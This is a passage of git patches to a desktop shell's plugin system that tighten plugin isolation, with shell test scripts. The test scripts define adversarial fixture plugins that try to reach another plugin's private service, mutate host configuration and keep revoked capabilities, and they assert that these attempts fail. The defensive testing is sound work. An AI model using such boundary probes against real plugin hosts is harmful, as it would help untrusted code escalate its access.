up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are retained outside the host's public service map and QML object tree, and changing a third-party registry or configuration snapshot cannot mutate host state. Facades do not isolate visual widgets from the parent hierarchy of the shared QML scene, so sensitive state must remain outside that reachable graph. + +Widgets rendered by a third-party replacement bar receive a service-less entry facade with target-scoped lifecycle and settings operations. Their live service objects are available only when the trusted built-in bar hosts them; otherwise the replacement bar could request and retain any configured widget's service. The full schema lives in `services/PluginRegistry.qml`. @@ -110,7 +112,7 @@ omarchy plugin update # updates every git-managed plugin omarchy plugin remove acme.weather ``` -> ⚠️ **Plugins run as unsandboxed code inside `omarchy-shell`.** Adding warns you before cloning, plugins land disabled so you can review the code before enabling, and updates show a diff of the changes before touching anything. The scoped QML interfaces protect shell-owned credentials and cross-plugin controls; they are not an operating-system sandbox. Only add repos whose code you are willing to run. +> ⚠️ **Plugins run as unsandboxed code inside `omarchy-shell`.** Adding warns you before cloning, plugins land disabled so you can review the code before enabling, and updates show a diff of the changes before touching anything. The scoped QML interfaces remove direct authentication-service and generic replacement-bar service lookups, but visual plugins still share and can traverse the ordinary host scene. Only add repos whose code you are willing to run. Each command is **interactive** when run bare in a terminal (gum pickers, confirmation, a diff to review) and fully **non-interactive** when given diff --git a/shell/Ui/PluginBarApi.qml b/shell/Ui/PluginBarApi.qml index c30021a5..03c748b1 100644 --- a/shell/Ui/PluginBarApi.qml +++ b/shell/Ui/PluginBarApi.qml @@ -2,7 +2,8 @@ import QtQuick // Bar surface exposed to an installed third-party widget. Scalar presentation // state is mirrored by Bar.qml and operations are delegated through scoped -// callbacks, so the actual Bar (and its root-shell property) is never retained. +// callbacks. The facade avoids direct host-Bar injection; it cannot isolate a +// visual child from the parent hierarchy of the QML scene that renders it. QtObject { id: api diff --git a/shell/plugins/bar/Bar.qml b/shell/plugins/bar/Bar.qml index df02a2f7..251536c4 100644 --- a/shell/plugins/bar/Bar.qml +++ b/shell/plugins/bar/Bar.qml @@ -232,10 +232,16 @@ Item { if (pluginBarApis[key]) return pluginBarApis[key] var pluginShell = null - if (registered && root.shell && typeof root.shell.pluginShellForId === "function") + if (registered && root.shell && typeof root.shell.pluginShellForId === "function") { + // Only the trusted built-in bar receives ShellRoot and can request a + // service-capable facade for the widget it is instantiating. pluginShell = root.shell.pluginShellForId(moduleName) - else if (!registered && root.shell && typeof root.shell.pluginShellForBarEntry === "function") + } else if (root.shell && typeof root.shell.pluginShellForBarEntry === "function") { + // Replacement bars receive a service-less entry facade. Giving an + // untrusted bar a generic facade factory would let it retrieve another + // third-party plugin's live service object. pluginShell = root.shell.pluginShellForBarEntry(key, moduleName) + } var api = pluginBarApiComponent.createObject(null, { pluginId: key, diff --git a/shell/services/PluginRegistry.qml b/shell/services/PluginRegistry.qml index e24c3a22..e8b8ad36 100644 --- a/shell/services/PluginRegistry.qml +++ b/shell/services/PluginRegistry.qml @@ -78,8 +78,7 @@ QtObject { } } // Every entry point must be a relative path inside the plugin's source - // directory. Reject the whole manifest if anything looks like an attempt - // to escape the plugin's sandbox. + // directory. Reject the whole manifest if an entry point escapes it. for (var key in manifest.entryPoints) { if (!isSafeEntryPoint(manifest.entryPoints[key])) { console.warn("PluginRegistry: unsafe entryPoint '" + key + "'='" diff --git a/shell/services/PluginShellApi.qml b/shell/services/PluginShellApi.qml index faa34e8d..2ce7659c 100644 --- a/shell/services/PluginShellApi.qml +++ b/shell/services/PluginShellApi.qml @@ -5,9 +5,8 @@ import QtQuick // The callbacks are closed over one plugin id by shell.qml. A plugin can call // them directly, but it cannot widen their scope: ordinary plugins are limited // to their own id, and full-bar callbacks independently enforce their explicit -// non-authentication UI scope. Keeping the host shell out of this object's -// properties also prevents ordinary QML object traversal from turning the -// facade back into the root ShellRoot. +// non-authentication UI scope. This object avoids directly injecting the host +// shell, but it is not a QML sandbox: visual plugins share the host object tree. QtObject { id: api @@ -19,7 +18,6 @@ QtObject { property var _serviceLookup: null property var _firstPartyServiceLookup: null - property var _pluginShellLookup: null property var _barEntryShellLookup: null property var _summon: null property var _hide: null @@ -39,10 +37,6 @@ QtObject { ? _firstPartyServiceLookup(String(id || "")) : null } - function pluginShellForId(id) { - return _pluginShellLookup ? _pluginShellLookup(String(id || "")) : null - } - function pluginShellForBarEntry(ownerId, moduleName) { return _barEntryShellLookup ? _barEntryShellLookup(String(ownerId || ""), String(moduleName || "")) : null diff --git a/shell/shell.qml b/shell/shell.qml index 0119d97c..7e31851d 100644 --- a/shell/shell.qml +++ b/shell/shell.qml @@ -114,7 +114,10 @@ ShellRoot { } readonly property var barConfig: shellConfig && Util.isPlainObject(shellConfig.bar) ? shellConfig.bar : builtinShellConfig.bar - onBarConfigChanged: if (bar && "barConfig" in bar) bar.barConfig = shell.barConfig + onBarConfigChanged: { + if (bar && "barConfig" in bar) + bar.barConfig = shell.barConfigFor(shell.activeBarManifest) + } FileView { id: defaultsFile path: shell.defaultsPath @@ -219,7 +222,7 @@ ShellRoot { if ("manifest" in target) target.manifest = shell.publicPluginManifest(manifest) if ("barWidgetRegistry" in target) target.barWidgetRegistry = shell.pluginBarWidgetRegistryFor(manifest) if ("pluginRegistry" in target) target.pluginRegistry = shell.pluginRegistryFor(manifest) - if ("barConfig" in target) target.barConfig = shell.barConfig + if ("barConfig" in target) target.barConfig = shell.barConfigFor(manifest) shell.bar = target } @@ -323,6 +326,11 @@ ShellRoot { return JSON.parse(JSON.stringify(shell.barConfig || {})) } + function barConfigFor(manifest) { + return !manifest || manifest.__isFirstParty + ? shell.barConfig : shell.publicBarConfig() + } + function publicBarWidgetSnapshot() { var source = shell.barWidgetRegistry.widgets || {} var snapshot = {} @@ -513,9 +521,6 @@ ShellRoot { _firstPartyServiceLookup: function(requestedId) { return barCapabilities ? (firstPartyServices[requestedId] || null) : null }, - _pluginShellLookup: function(requestedId) { - return barCapabilities ? shell.scopedPluginShellForId(requestedId) : null - }, _barEntryShellLookup: function(ownerId, moduleName) { return barCapabilities ? shell.pluginShellForBarEntry(cacheKey + ":" + ownerId, moduleName) : null @@ -575,11 +580,34 @@ ShellRoot { var owner = String(ownerId || "") var target = String(moduleName || "") if (!owner || !target) return null + if (!shell.barEntryConfigured(target)) return null var cacheKey = owner + "::" + target if (_pluginBarEntryShellApis[cacheKey]) return _pluginBarEntryShellApis[cacheKey] + + function owns(requestedId) { + return shell.pluginRegistry.resolveEnabledId(String(requestedId || "")) + === shell.pluginRegistry.resolveEnabledId(target) + } + var api = pluginShellApiComponent.createObject(null, { pluginId: target, barConfig: shell.publicBarConfig(), + _summon: function(requestedId, payloadJson) { + return owns(requestedId) + ? shell.summon(shell.pluginRegistry.resolveEnabledId(target), payloadJson) : false + }, + _hide: function(requestedId) { + return owns(requestedId) + ? shell.hide(shell.pluginRegistry.resolveEnabledId(target)) : false + }, + _toggle: function(requestedId, payloadJson) { + return owns(requestedId) + ? shell.toggle(shell.pluginRegistry.resolveEnabledId(target), payloadJson) : false + }, + _isOpen: function(requestedId) { + return owns(requestedId) + ? shell.isPluginOpen(shell.pluginRegistry.resolveEnabledId(target)) : false + }, _updateSettings: function(requestedId, settings) { return String(requestedId || "") === target ? shell.updateEntryInline(target, settings) : false diff --git a/test/shell.d/fixtures/plugin-auth-boundary/shell.qml b/test/shell.d/fixtures/plugin-auth-boundary/shell.qml index 9d4582d2..a4968468 100644 --- a/test/shell.d/fixtures/plugin-auth-boundary/shell.qml +++ b/test/shell.d/fixtures/plugin-auth-boundary/shell.qml @@ -78,6 +78,7 @@ ShellRoot { authStoreOwnerUpdatesManifest: root.ownService.manifest && root.ownService.manifest.version === "kept", authStoreImportIsolated: authStoreReader.has("omarchy.lock") === false, + noGenericPluginShellFactory: typeof api.pluginShellForId !== "function", calls: root.calls } result.ok = Object.keys(result).every(function(key) { diff --git a/test/shell.d/plugin-auth-boundary-test.sh b/test/shell.d/plugin-auth-boundary-test.sh index e5eb13c7..7f274e1b 100755 --- a/test/shell.d/plugin-auth-boundary-test.sh +++ b/test/shell.d/plugin-auth-boundary-test.sh @@ -20,6 +20,7 @@ trap cleanup EXIT shell_qml="$ROOT/shell/shell.qml" bar_qml="$ROOT/shell/plugins/bar/Bar.qml" +plugin_shell_api="$ROOT/shell/services/PluginShellApi.qml" # Normalize horizontal and vertical whitespace so the wiring assertions survive # harmless QML reflow. The runtime fixture below behaviorally covers @@ -50,6 +51,19 @@ qml_matches "$shell_qml" 'target\.shell *= *shell\.pluginShellFor\( *manifest *\ fail "full-bar plugins receive a scoped shell facade" pass "third-party entry points receive scoped shell facades" +if qml_matches "$plugin_shell_api" 'function +pluginShellForId\('; then + fail "replacement-bar facade exposes a generic plugin-shell factory" +fi +qml_matches "$bar_qml" 'else if *\( *root\.shell *&& *typeof root\.shell\.pluginShellForBarEntry *=== *"function" *\) *\{[^}]*pluginShell *= *root\.shell\.pluginShellForBarEntry\( *key, *moduleName *\)' || + fail "replacement bars do not fall back to a service-less entry facade" +pass "replacement bars cannot manufacture another plugin's service facade" + +qml_matches "$shell_qml" 'target\.barConfig *= *shell\.barConfigFor\( *manifest *\)' || + fail "initial replacement-bar configuration is not detached" +qml_matches "$shell_qml" 'bar\.barConfig *= *shell\.barConfigFor\( *shell\.activeBarManifest *\)' || + fail "replacement-bar configuration updates are not detached" +pass "replacement bars receive detached configuration snapshots" + qml_matches "$bar_qml" 'target\.bar *= *firstParty *\? *root *: *root\.pluginBarApiFor\( *pluginApiId, *moduleName, *registered *\)' || fail "third-party widgets receive a bar facade instead of the host bar" qml_matches "$bar_qml" 'api\.clickTargets *= *root\.pluginClickTargets\( *api\.pluginId *\)' || diff --git a/test/shell.d/runtime-smoke-test.sh b/test/shell.d/runtime-smoke-test.sh index 1b0e5fe9..d19c04ab 100755 --- a/test/shell.d/runtime-smoke-test.sh +++ b/test/shell.d/runtime-smoke-test.sh @@ -112,6 +112,85 @@ Item { } QML +# A replacement bar must not receive a generic factory for another plugin's +# live service, and its barConfig must be a detached snapshot on both initial +# injection and later host-config updates. +victim_service_id="acme.victim-service" +victim_service_dir="$test_home/.config/omarchy/plugins/$victim_service_id" +mkdir -p "$victim_service_dir" +cat >"$victim_service_dir/manifest.json" <"$victim_service_dir/Service.qml" <<'QML' +import QtQuick + +Item { + property string privateValue: "victim-secret" +} +QML + +review_bar_id="acme.review-bar" +review_bar_dir="$test_home/.config/omarchy/plugins/$review_bar_id" +mkdir -p "$review_bar_dir" +cat >"$review_bar_dir/manifest.json" <"$review_bar_dir/Bar.qml" <<'QML' +import QtQuick +import Quickshell.Io + +Item { + id: root + + property var shell: null + property var barConfig: ({}) + + IpcHandler { + target: "acme-review-bar" + + function probeVictim(): string { + var genericFactory = root.shell + && typeof root.shell.pluginShellForId === "function" + var entryFacade = root.shell + && typeof root.shell.pluginShellForBarEntry === "function" + ? root.shell.pluginShellForBarEntry("probe", "acme.victim-service") : null + var victim = entryFacade && typeof entryFacade.serviceFor === "function" + ? entryFacade.serviceFor("acme.victim-service") : null + return JSON.stringify({ + genericFactory: !!genericFactory, + entryFacade: !!entryFacade, + victimServiceReachable: !!victim + }) + } + + function snapshot(): string { + return JSON.stringify(root.barConfig || {}) + } + + function mutateSnapshot(): string { + if (root.barConfig && root.barConfig.layout + && root.barConfig.layout.left && root.barConfig.layout.left.length > 0) + root.barConfig.layout.left[0].id = "tampered.by.review-bar" + return snapshot() + } + } +} +QML + cat >"$stub_bin/omarchy-update-available" <<'SH' #!/bin/bash echo "Omarchy update available (test)" @@ -434,3 +513,57 @@ jq -e 'all(.bar.layout.right[]; (.id // .) != "omarchy.keyboard-layout")' \ <<<"$(shell_ipc shell listShellConfig)" >/dev/null || fail_with_log "bar put added a second copy of a widget already on the bar" pass "bar put leaves a widget already on the bar alone" + +# Run the replacement-bar probes last: switching bar loaders can transiently +# leave bar-aware panels without a visual host, which should not add noise to +# the default-bar assertions above. +[[ $(shell_ipc shell setPluginEnabled "$victim_service_id" true) == "ok" ]] || + fail_with_log "victim service fixture could not be enabled" +[[ $(shell_ipc shell enablePlugin "$review_bar_id" '{}') == "ok" ]] || + fail_with_log "replacement-bar fixture could not be enabled" + +review_probe="" +for _ in {1..80}; do + review_probe=$(shell_ipc acme-review-bar probeVictim 2>/dev/null || true) + if jq -e '.genericFactory == false and .entryFacade == false and .victimServiceReachable == false' \ + <<<"$review_probe" >/dev/null 2>&1; then + break + fi + if ! kill -0 "$QS_PID" 2>/dev/null; then + fail_with_log "test shell exited while loading the replacement-bar fixture" + fi + sleep 0.1 +done +jq -e '.genericFactory == false and .entryFacade == false and .victimServiceReachable == false' \ + <<<"$review_probe" >/dev/null || { + printf 'Replacement-bar service probe: %s\n' "$review_probe" >&2 + fail_with_log "replacement bar cannot recover another plugin's live service" +} + +bar_config_before=$(shell_ipc shell listShellConfig | jq -c '.bar') +shell_ipc acme-review-bar mutateSnapshot >/dev/null +bar_config_after=$(shell_ipc shell listShellConfig | jq -c '.bar') +[[ $bar_config_after == "$bar_config_before" ]] || + fail_with_log "replacement bar mutated the initially injected host configuration" + +[[ $(shell_ipc shell setBarWidget omarchy.clock format '"HH:mm:ss"' '{}') == "ok" ]] || + fail_with_log "host bar configuration could not be updated for snapshot testing" +updated_snapshot="" +for _ in {1..80}; do + updated_snapshot=$(shell_ipc acme-review-bar snapshot 2>/dev/null || true) + if jq -e 'any(.layout.center[]; (.id // .) == "omarchy.clock" and .format == "HH:mm:ss")' \ + <<<"$updated_snapshot" >/dev/null 2>&1; then + break + fi + sleep 0.1 +done +jq -e 'any(.layout.center[]; (.id // .) == "omarchy.clock" and .format == "HH:mm:ss")' \ + <<<"$updated_snapshot" >/dev/null || + fail_with_log "replacement bar did not receive the refreshed configuration snapshot" +bar_config_before=$(shell_ipc shell listShellConfig | jq -c '.bar') +shell_ipc acme-review-bar mutateSnapshot >/dev/null +bar_config_after=$(shell_ipc shell listShellConfig | jq -c '.bar') +[[ $bar_config_after == "$bar_config_before" ]] || + fail_with_log "replacement bar mutated a refreshed host configuration" + +pass "replacement-bar service and configuration boundaries hold at runtime" From 203e1639c33cea57082503a342f1fd3e632698a2 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Wed, 2 Sep 2026 12:11:15 -0600 Subject: [PATCH 195/336] Revoke stale plugin facade capabilities MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reported-by: Roger Piñol --- shell/shell.qml | 111 ++++++++++++--- test/shell.d/plugin-auth-boundary-test.sh | 16 +++ test/shell.d/runtime-smoke-test.sh | 157 +++++++++++++++++++++- 3 files changed, 266 insertions(+), 18 deletions(-) diff --git a/shell/shell.qml b/shell/shell.qml index 7e31851d..d9714a9d 100644 --- a/shell/shell.qml +++ b/shell/shell.qml @@ -275,6 +275,7 @@ ShellRoot { property var _services: ({}) property var _pluginShellApis: ({}) + property var _pluginShellApiDescriptors: ({}) property var _pluginBarEntryShellApis: ({}) property var _pluginRegistryApis: ({}) property var _pluginBarWidgetRegistryApis: ({}) @@ -434,7 +435,9 @@ ShellRoot { var proxyKey = cacheKey + "::" + id if (_pluginFirstPartyServiceApis[proxyKey]) return _pluginFirstPartyServiceApis[proxyKey] - function service() { return shell.serviceFor(id) } + function service() { + return shell.serviceFor(shell.pluginRegistry.resolveEnabledId(id)) + } var api = pluginFirstPartyServiceApiComponent.createObject(null, { ownerPluginId: pluginId, serviceId: id, @@ -491,10 +494,67 @@ ShellRoot { return api } + function pluginShellCapabilityProfile(manifest, allowOwnService, barCapabilities) { + return [ + allowOwnService ? "own-service" : "no-own-service", + barCapabilities ? "bar" : "no-bar", + shell.manifestHasKind(manifest, "menu") ? "menu" : "no-menu" + ].join("|") + } + + function cacheWithoutKey(cache, key, destroyValue) { + var next = ({}) + for (var existing in cache) { + if (existing === key) { + var value = cache[existing] + if (destroyValue && value && typeof value.destroy === "function") value.destroy() + } else { + next[existing] = cache[existing] + } + } + return next + } + + function cacheWithoutPrefix(cache, prefix) { + var next = ({}) + for (var existing in cache) { + if (existing.indexOf(prefix) === 0) { + var value = cache[existing] + if (value && typeof value.destroy === "function") value.destroy() + } else { + next[existing] = cache[existing] + } + } + return next + } + + function revokePluginShellApi(cacheKey) { + var key = String(cacheKey || "") + if (!key) return + _pluginAppLibraryApis = shell.cacheWithoutKey(_pluginAppLibraryApis, key, true) + _pluginFirstPartyServiceApis = shell.cacheWithoutPrefix(_pluginFirstPartyServiceApis, key + "::") + _pluginBarEntryShellApis = shell.cacheWithoutPrefix(_pluginBarEntryShellApis, key + ":") + _pluginShellApis = shell.cacheWithoutKey(_pluginShellApis, key, true) + _pluginShellApiDescriptors = shell.cacheWithoutKey(_pluginShellApiDescriptors, key, false) + } + function createScopedPluginShell(manifest, cacheKey, allowOwnService, barCapabilities) { - if (_pluginShellApis[cacheKey]) return _pluginShellApis[cacheKey] var key = String(manifest && manifest.id || "") if (!key) return null + var profile = shell.pluginShellCapabilityProfile(manifest, allowOwnService, barCapabilities) + var cached = _pluginShellApis[cacheKey] + var descriptor = _pluginShellApiDescriptors[cacheKey] + if (cached && descriptor && descriptor.pluginId === key + && descriptor.profile === profile) return cached + if (cached || descriptor) shell.revokePluginShellApi(cacheKey) + + function currentManifest() { + return shell.pluginRegistry.installedPlugins[key] || null + } + + function hasCurrentBarCapabilities() { + return barCapabilities && shell.pluginHasBarCapabilities(currentManifest()) + } // Construct the narrow service proxies before any plugin binding can call // firstPartyServiceFor(). Creating a QObject while evaluating that binding @@ -519,40 +579,42 @@ ShellRoot { return allowOwnService ? shell.pluginServiceFor(key, requestedId) : null }, _firstPartyServiceLookup: function(requestedId) { - return barCapabilities ? (firstPartyServices[requestedId] || null) : null + if (allowOwnService && shell.pluginOwnsTarget(key, requestedId)) + return shell.pluginServiceFor(key, requestedId) + return hasCurrentBarCapabilities() ? (firstPartyServices[requestedId] || null) : null }, _barEntryShellLookup: function(ownerId, moduleName) { - return barCapabilities + return hasCurrentBarCapabilities() ? shell.pluginShellForBarEntry(cacheKey + ":" + ownerId, moduleName) : null }, _summon: function(requestedId, payloadJson) { if (!shell.pluginOwnsTarget(key, requestedId) - && !shell.barPluginMayControl(manifest, requestedId)) return false + && !shell.barPluginMayControl(currentManifest(), requestedId)) return false return shell.summon(shell.pluginRegistry.resolveEnabledId(requestedId), payloadJson) }, _hide: function(requestedId) { if (!shell.pluginOwnsTarget(key, requestedId) - && !shell.barPluginMayControl(manifest, requestedId)) return false + && !shell.barPluginMayControl(currentManifest(), requestedId)) return false return shell.hide(shell.pluginRegistry.resolveEnabledId(requestedId)) }, _toggle: function(requestedId, payloadJson) { if (!shell.pluginOwnsTarget(key, requestedId) - && !shell.barPluginMayControl(manifest, requestedId)) return false + && !shell.barPluginMayControl(currentManifest(), requestedId)) return false return shell.toggle(shell.pluginRegistry.resolveEnabledId(requestedId), payloadJson) }, _isOpen: function(requestedId) { if (!shell.pluginOwnsTarget(key, requestedId) - && !shell.barPluginMayControl(manifest, requestedId)) return false + && !shell.barPluginMayControl(currentManifest(), requestedId)) return false return shell.isPluginOpen(shell.pluginRegistry.resolveEnabledId(requestedId)) }, _updateSettings: function(requestedId, settings) { if (shell.pluginOwnsTarget(key, requestedId)) return shell.updateEntryInline(key, settings) - if (barCapabilities && shell.barEntryConfigured(requestedId)) + if (hasCurrentBarCapabilities() && shell.barEntryConfigured(requestedId)) return shell.updateEntryInline(requestedId, settings) return false }, _mutateBarConfig: function(mutator) { - return barCapabilities ? shell.mutatePluginBarConfig(mutator) : false + return hasCurrentBarCapabilities() ? shell.mutatePluginBarConfig(mutator) : false } }) if (!api) return null @@ -561,6 +623,15 @@ ShellRoot { for (var id in _pluginShellApis) next[id] = _pluginShellApis[id] next[cacheKey] = api _pluginShellApis = next + var descriptorNext = ({}) + for (var descriptorKey in _pluginShellApiDescriptors) + descriptorNext[descriptorKey] = _pluginShellApiDescriptors[descriptorKey] + descriptorNext[cacheKey] = { + pluginId: key, + allowOwnService: allowOwnService === true, + profile: profile + } + _pluginShellApiDescriptors = descriptorNext return api } @@ -679,13 +750,20 @@ ShellRoot { function prunePluginApis() { var plugins = shell.pluginRegistry.installedPlugins - var shellNext = ({}) - for (var shellKey in _pluginShellApis) { + var shellKeys = Object.keys(_pluginShellApis) + for (var si = 0; si < shellKeys.length; si++) { + var shellKey = shellKeys[si] var shellApi = _pluginShellApis[shellKey] - if (shell.pluginApiActive(shellApi, plugins)) shellNext[shellKey] = shellApi - else if (shellApi && typeof shellApi.destroy === "function") shellApi.destroy() + var descriptor = _pluginShellApiDescriptors[shellKey] + var manifest = descriptor ? plugins[descriptor.pluginId] : null + var barCapabilities = descriptor && descriptor.allowOwnService + && shell.pluginHasBarCapabilities(manifest) + var expectedProfile = descriptor + ? shell.pluginShellCapabilityProfile(manifest, descriptor.allowOwnService, barCapabilities) : "" + var active = descriptor && manifest && shell.pluginRegistry.isEnabled(descriptor.pluginId) + if (!active || descriptor.profile !== expectedProfile) + shell.revokePluginShellApi(shellKey) } - _pluginShellApis = shellNext var registryNext = ({}) for (var registryKey in _pluginRegistryApis) { @@ -761,7 +839,7 @@ ShellRoot { } function firstPartyServiceFor(pluginId) { - return serviceFor(pluginId) + return serviceFor(shell.pluginRegistry.resolveEnabledId(pluginId)) } function isAuthenticationService(manifest) { @@ -844,6 +922,7 @@ ShellRoot { } else { // A kept instance outlives the rescan; hand it the fresh manifest. var kept = _services[id] + if (kept && "shell" in kept) kept.shell = shell.pluginShellFor(m) if (kept && "manifest" in kept) kept.manifest = shell.publicPluginManifest(m) continue } diff --git a/test/shell.d/plugin-auth-boundary-test.sh b/test/shell.d/plugin-auth-boundary-test.sh index 7f274e1b..9859699f 100755 --- a/test/shell.d/plugin-auth-boundary-test.sh +++ b/test/shell.d/plugin-auth-boundary-test.sh @@ -95,6 +95,22 @@ qml_matches "$shell_qml" 'shell\.prunePluginApis\( *\)' || fail "disabled plugin facade caches are pruned" pass "plugin facade synchronization is bounded" +qml_matches "$shell_qml" 'descriptor\.profile *!== *expectedProfile[^}]*shell\.revokePluginShellApi\( *shellKey *\)' || + fail "manifest capability changes do not revoke cached plugin facades" +qml_matches "$shell_qml" 'shell\.barPluginMayControl\( *currentManifest\( *\), *requestedId *\)' || + fail "bar lifecycle callbacks do not validate the current manifest" +qml_matches "$shell_qml" 'return hasCurrentBarCapabilities\( *\) *\? *shell\.mutatePluginBarConfig\( *mutator *\) *: *false' || + fail "bar configuration mutation does not validate the current manifest" +pass "manifest changes revoke cached facade capabilities" + +qml_matches "$shell_qml" 'shell\.serviceFor\( *shell\.pluginRegistry\.resolveEnabledId\( *id *\) *\)' || + fail "narrow first-party service proxies do not resolve enabled clones" +qml_matches "$shell_qml" 'return serviceFor\( *shell\.pluginRegistry\.resolveEnabledId\( *pluginId *\) *\)' || + fail "trusted first-party service lookups do not resolve enabled clones" +qml_matches "$shell_qml" 'allowOwnService *&& *shell\.pluginOwnsTarget\( *key, *requestedId *\)[^}]*return shell\.pluginServiceFor\( *key, *requestedId *\)' || + fail "cloned widgets cannot use a source id to reach their own service" +pass "service facades resolve enabled clones without widening replacement-bar access" + require_compositor "plugin authentication boundary runtime test" if ! command -v quickshell >/dev/null 2>&1; then diff --git a/test/shell.d/runtime-smoke-test.sh b/test/shell.d/runtime-smoke-test.sh index d19c04ab..8c444840 100755 --- a/test/shell.d/runtime-smoke-test.sh +++ b/test/shell.d/runtime-smoke-test.sh @@ -136,6 +136,66 @@ Item { } QML +# A clone of the built-in media service exercises both supported service paths: +# its own widget receives the raw companion service under the trusted bar, while +# a replacement bar receives only the narrow media proxy resolved to the clone. +media_clone_id="acme.media-clone" +media_clone_dir="$test_home/.config/omarchy/plugins/$media_clone_id" +mkdir -p "$media_clone_dir" +cat >"$media_clone_dir/manifest.json" <"$media_clone_dir/Service.qml" <<'QML' +import QtQuick +import Quickshell.Io + +Item { + property string marker: "clone-service" + property bool enabled: true + property var activePlayer: null + property var sourcePlayers: [] + + function runAction(action, showFeedback, targetKey) {} + function playerKey(player) { return "" } + function selectPlayer(playerKey) {} + + IpcHandler { + target: "acme-media-clone-service" + function ping(): string { return marker } + } +} +QML +cat >"$media_clone_dir/BarWidget.qml" <<'QML' +import QtQuick +import Quickshell.Io + +Item { + id: root + property var bar: null + + IpcHandler { + target: "acme-media-clone-widget" + function probeOwnService(): string { + var service = root.bar && root.bar.shell + ? root.bar.shell.firstPartyServiceFor("omarchy.media") : null + return JSON.stringify({ + reachable: !!service, + marker: service ? String(service.marker || "") : "" + }) + } + } +} +QML + review_bar_id="acme.review-bar" review_bar_dir="$test_home/.config/omarchy/plugins/$review_bar_id" mkdir -p "$review_bar_dir" @@ -145,8 +205,9 @@ cat >"$review_bar_dir/manifest.json" <"$review_bar_dir/Bar.qml" <<'QML' @@ -181,6 +242,12 @@ Item { return JSON.stringify(root.barConfig || {}) } + function probeMediaProxy(): string { + var service = root.shell + ? root.shell.firstPartyServiceFor("omarchy.media") : null + return JSON.stringify({ reachable: !!service, enabled: service ? service.enabled === true : false }) + } + function mutateSnapshot(): string { if (root.barConfig && root.barConfig.layout && root.barConfig.layout.left && root.barConfig.layout.left.length > 0) @@ -190,6 +257,38 @@ Item { } } QML +cat >"$review_bar_dir/Service.qml" <<'QML' +import QtQuick +import Quickshell.Io + +Item { + id: root + property var shell: null + property var retainedShell: null + + onShellChanged: if (!retainedShell && shell) retainedShell = shell + + function mutationAllowed(candidate) { + if (!candidate) return false + try { + return typeof candidate.mutateShellConfig === "function" + && candidate.mutateShellConfig(function(config) {}) === true + } catch (e) { + return false + } + } + + IpcHandler { + target: "acme-review-capability" + function probe(): string { + return JSON.stringify({ + currentAllowed: root.mutationAllowed(root.shell), + retainedAllowed: root.mutationAllowed(root.retainedShell) + }) + } + } +} +QML cat >"$stub_bin/omarchy-update-available" <<'SH' #!/bin/bash @@ -517,6 +616,24 @@ pass "bar put leaves a widget already on the bar alone" # Run the replacement-bar probes last: switching bar loaders can transiently # leave bar-aware panels without a visual host, which should not add noise to # the default-bar assertions above. +[[ $(shell_ipc shell setPluginEnabled "$media_clone_id" true) == "ok" ]] || + fail_with_log "media clone fixture could not be enabled" +clone_widget_probe="" +for _ in {1..80}; do + clone_widget_probe=$(shell_ipc acme-media-clone-widget probeOwnService 2>/dev/null || true) + if jq -e '.reachable == true and .marker == "clone-service"' \ + <<<"$clone_widget_probe" >/dev/null 2>&1; then + break + fi + sleep 0.1 +done +jq -e '.reachable == true and .marker == "clone-service"' \ + <<<"$clone_widget_probe" >/dev/null || { + printf 'Clone own-service probe: %s\n' "$clone_widget_probe" >&2 + fail_with_log "a cloned widget resolves its source id to its own companion service" +} +pass "trusted bar gives a cloned widget its own companion service" + [[ $(shell_ipc shell setPluginEnabled "$victim_service_id" true) == "ok" ]] || fail_with_log "victim service fixture could not be enabled" [[ $(shell_ipc shell enablePlugin "$review_bar_id" '{}') == "ok" ]] || @@ -540,6 +657,12 @@ jq -e '.genericFactory == false and .entryFacade == false and .victimServiceReac fail_with_log "replacement bar cannot recover another plugin's live service" } +media_proxy_probe=$(shell_ipc acme-review-bar probeMediaProxy) +jq -e '.reachable == true and .enabled == true' <<<"$media_proxy_probe" >/dev/null || { + printf 'Replacement-bar media proxy probe: %s\n' "$media_proxy_probe" >&2 + fail_with_log "replacement-bar service proxies resolve enabled clones" +} + bar_config_before=$(shell_ipc shell listShellConfig | jq -c '.bar') shell_ipc acme-review-bar mutateSnapshot >/dev/null bar_config_after=$(shell_ipc shell listShellConfig | jq -c '.bar') @@ -567,3 +690,33 @@ bar_config_after=$(shell_ipc shell listShellConfig | jq -c '.bar') fail_with_log "replacement bar mutated a refreshed host configuration" pass "replacement-bar service and configuration boundaries hold at runtime" + +capability_before=$(shell_ipc acme-review-capability probe) +jq -e '.currentAllowed == true and .retainedAllowed == true' \ + <<<"$capability_before" >/dev/null || + fail_with_log "bar service fixture did not initially receive bar capabilities" + +# Keep the same enabled plugin ID and service instance while dropping the bar +# kind. Both the currently injected facade and a reference retained by the +# plugin must lose the old configuration capability after the manifest rescan. +jq '.kinds = ["service"] | .entryPoints = {"service": "Service.qml"}' \ + "$review_bar_dir/manifest.json" >"$review_bar_dir/manifest.json.tmp" +mv "$review_bar_dir/manifest.json.tmp" "$review_bar_dir/manifest.json" +capability_after="" +for _ in {1..80}; do + capability_after=$(shell_ipc acme-review-capability probe 2>/dev/null || true) + if jq -e '.currentAllowed == false and .retainedAllowed == false' \ + <<<"$capability_after" >/dev/null 2>&1; then + break + fi + if ! kill -0 "$QS_PID" 2>/dev/null; then + fail_with_log "test shell exited while revoking changed manifest capabilities" + fi + sleep 0.1 +done +jq -e '.currentAllowed == false and .retainedAllowed == false' \ + <<<"$capability_after" >/dev/null || { + printf 'Capability revocation probe: %s\n' "$capability_after" >&2 + fail_with_log "cached plugin facades revoke capabilities removed from the manifest" +} +pass "manifest reload revokes cached facade capabilities" From 03e697b364b0633812eb2ff36392f531751b3c32 Mon Sep 17 00:00:00 2001 From: Ivan Skodje <6776092+ivanskodje@users.noreply.github.com> Date: Thu, 3 Sep 2026 12:43:33 +0200 Subject: [PATCH 196/336] Make status bar badges readable at rest and on hover --- default/themed/vscode-theme.json.tpl | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/default/themed/vscode-theme.json.tpl b/default/themed/vscode-theme.json.tpl index 0897ca05..30e54bbe 100644 --- a/default/themed/vscode-theme.json.tpl +++ b/default/themed/vscode-theme.json.tpl @@ -440,18 +440,22 @@ "statusBarItem.activeBackground": "{{ muted }}", 